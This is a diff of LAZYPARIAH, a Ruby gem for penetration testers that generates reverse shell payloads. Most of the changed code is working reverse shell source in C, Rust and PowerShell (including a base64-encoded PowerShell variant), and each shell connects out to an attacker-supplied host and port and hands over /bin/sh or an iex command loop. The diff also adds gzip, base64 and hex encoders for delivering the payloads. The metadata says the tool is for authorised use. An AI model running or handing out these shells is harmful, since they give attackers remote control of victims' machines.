+ print_output(s: java_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
395
+ elsif gzip_hex_payload
396
+ # Zlib-compressed and hex-encoded java_class payload.
397
+ sio = StringIO.new()
398
+ sio.binmode()
399
+ gz = Zlib::GzipWriter.new(sio)
400
+ gz.write(java_payload)
401
+ gz.close()
402
+ java_payload_gzip = sio.string
403
+ java_payload_gzip_hex = java_payload_gzip.unpack("H*")[0]
404
+ print_output(s: java_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
405
+ else
406
+ # Standard java_class payload.
407
+ print_output(s: java_payload, new_line: false)
291
408
  end
292
409
  end
293
410
 
294
411
  system("rm -r #{temp_dir}")
295
- when "c_binary", "c_binary_gzip", "c_binary_b64", "c_binary_gzip_b64", "c_binary_hex", "c_binary_gzip_hex"
412
+ when "c_binary"
413
+ # C binary reverse shells (compiled on the fly).
296
414
  code = "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\nint main(void){int port = #{ARGV[2]};struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr(\"#{ARGV[1]}\");connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {\"/bin/sh\", NULL};execve(\"/bin/sh\", argv, NULL);\nreturn 0;}"
297
415
 
298
416
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -302,24 +420,80 @@ begin
302
420
 
303
421
  File.open(temp_dir+"/rs", "r") do |f|
304
422
  binary_payload = f.read()
305
- case selected_payload
306
- when "c_binary"
307
- print_output(binary_payload, new_line=false)
308
- when "c_binary_b64"
423
+ if b64_payload
424
+ # Base-64-encoded c_binary payload.
425
+ binary_payload_b64 = Base64.strict_encode64(binary_payload)
426
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
427
+ elsif hex_payload
428
+ # Hex-encoded c_binary payload.
429
+ binary_payload_hex = binary_payload.unpack("H*")[0]
430
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
431
+ elsif gzip_payload
432
+ # Zlib-compressed c_binary payload.
433
+ sio = StringIO.new()
434
+ sio.binmode()
435
+ gz = Zlib::GzipWriter.new(sio)
436
+ gz.write(binary_payload)
437
+ gz.close()
438
+ binary_payload_gzip = sio.string
439
+ print_output(s: binary_payload_gzip, new_line: false)
440
+ elsif gzip_b64_payload
441
+ # Zlib-compressed and base-64-encoded c_binary payload.
442
+ sio = StringIO.new()
443
+ sio.binmode()
444
+ gz = Zlib::GzipWriter.new(sio)
445
+ gz.write(binary_payload)
446
+ gz.close()
447
+ binary_payload_gzip = sio.string
448
+ binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
449
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
450
+ elsif gzip_hex_payload
451
+ # Zlib-compressed and hex-encoded c_binary payload.
452
+ sio = StringIO.new()
453
+ sio.binmode()
454
+ gz = Zlib::GzipWriter.new(sio)
455
+ gz.write(binary_payload)
456
+ gz.close()
457
+ binary_payload_gzip = sio.string
458
+ binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
459
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
460
+ else
461
+ # Standard c_binary payload.
462
+ print_output(s: binary_payload, new_line: false)
463
+ end
464
+ end
465
+
466
+ system("rm -r #{temp_dir}")
467
+ when "rust_binary"
468
+ # Rust binary reverse shells (compiled on the fly).
469
+ code = "use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};fn main() {let lhost: &str = \"#{ARGV[1]}\";let lport: &str = \"#{ARGV[2]}\";let tcp_stream = TcpStream::connect(format!(\"{}:{}\", lhost, lport)).unwrap();let fd = tcp_stream.as_raw_fd();Command::new(\"/bin/sh\").arg(\"-i\").stdin(unsafe {Stdio::from_raw_fd(fd)}).stdout(unsafe {Stdio::from_raw_fd(fd)}).stderr(unsafe {Stdio::from_raw_fd(fd)}).spawn().unwrap().wait().unwrap();}"
470
+
471
+ temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
472
+ temp_file = temp_dir+"/rs.rs"
473
+
474
+ system("echo '#{code}' > #{temp_file}; rustc #{temp_file} -o #{temp_dir+"/rs"};")
475
+
476
+ File.open(temp_dir+"/rs", "r") do |f|
477
+ binary_payload = f.read()
478
+ if b64_payload
479
+ # Base-64-encoded rust_binary payload.
309
480
  binary_payload_b64 = Base64.strict_encode64(binary_payload)
310
- print_output(binary_payload_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
311
- when "c_binary_hex"
481
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
482
+ elsif hex_payload
483
+ # Hex-encoded rust_binary payload.
312
484
  binary_payload_hex = binary_payload.unpack("H*")[0]
313
- print_output(binary_payload_hex, new_line=!arguments[:"no-new-line"])
314
- when "c_binary_gzip"
485
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
486
+ elsif gzip_payload
487
+ # Zlib-compressed rust_binary payload.
315
488
  sio = StringIO.new()
316
489
  sio.binmode()
317
490
  gz = Zlib::GzipWriter.new(sio)
318
491
  gz.write(binary_payload)
319
492
  gz.close()
320
493
  binary_payload_gzip = sio.string
321
- print_output(binary_payload_gzip, new_line=false)
322
- when "c_binary_gzip_b64"
494
+ print_output(s: binary_payload_gzip, new_line: false)
495
+ elsif gzip_b64_payload
496
+ # Zlib-compressed and base-64-encoded rust_binary payload.
323
497
  sio = StringIO.new()
324
498
  sio.binmode()
325
499
  gz = Zlib::GzipWriter.new(sio)
@@ -327,20 +501,34 @@ begin
327
501
  gz.close()
328
502
  binary_payload_gzip = sio.string
329
503
  binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
330
- print_output(binary_payload_gzip_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
331
- when "c_binary_gzip_hex"
504
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
505
+ elsif gzip_hex_payload
506
+ # Zlib-compressed and hex-encoded rust_binary payload.
332
507
  sio = StringIO.new()
333
508
  sio.binmode()
334
509
  gz = Zlib::GzipWriter.new(sio)
335
- gz.write(binary_payload, new_line=!arguments[:"no-new-line"])
510
+ gz.write(binary_payload)
336
511
  gz.close()
337
512
  binary_payload_gzip = sio.string
338
513
  binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
339
- print_output(binary_payload_gzip_hex)
514
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
515
+ else
516
+ # Standard rust_binary payload.
517
+ print_output(s: binary_payload, new_line: false)
340
518
  end
341
519
  end
342
520
 
343
521
  system("rm -r #{temp_dir}")
522
+ when "powershell_c"
523
+ # Simple reverse shell in Powershell.
524
+ #print_output(s: "powershell -nop -c \"$t = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}', #{ARGV[2]}); $s = $t.GetStream(); [byte[]]$b = 0..65535|%{0}; while(($i = $s.Read($b, 0, $b.Length)) -ne 0){; $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i); $r = (IEX $d 2>&1 | Out-String); $r2 = $r + 'PS '+(pwd).Path+'> '; $rb = ([text.encoding]::ASCII).GetBytes($r2); $s.Write($rb, 0, $rb.Length); $s.Flush()}; $t.Close();\"", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
525
+ code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
526
+ command = "powershell -nop -c \"#{code}\""
527
+ print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
528
+ when "powershell_b64"
529
+ code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".encode("utf-16le")
530
+ command = "powershell -e #{Base64.strict_encode64(code)}"
531
+ print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
344
532
  end
345
533
  end
346
534
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazypariah
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.1
4
+ version: 1.5.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Peter Funnell
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2021-03-08 00:00:00.000000000 Z
11
+ date: 2022-01-11 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
14
14
  on the fly. It is intended to be used only in authorised circumstances by qualified
@@ -42,8 +42,8 @@ required_rubygems_version: !ruby/object:Gem::Requirement
42
42
  - !ruby/object:Gem::Version
43
43
  version: '0'
44
44
  requirements:
45
- - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads)
46
- and OpenJDK (for Java payloads).
45
+ - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads),
46
+ OpenJDK (for Java payloads) and Rust (for Rust payloads).
47
47
  rubygems_version: 3.2.5
48
48
  signing_key:
49
49
  specification_version: 4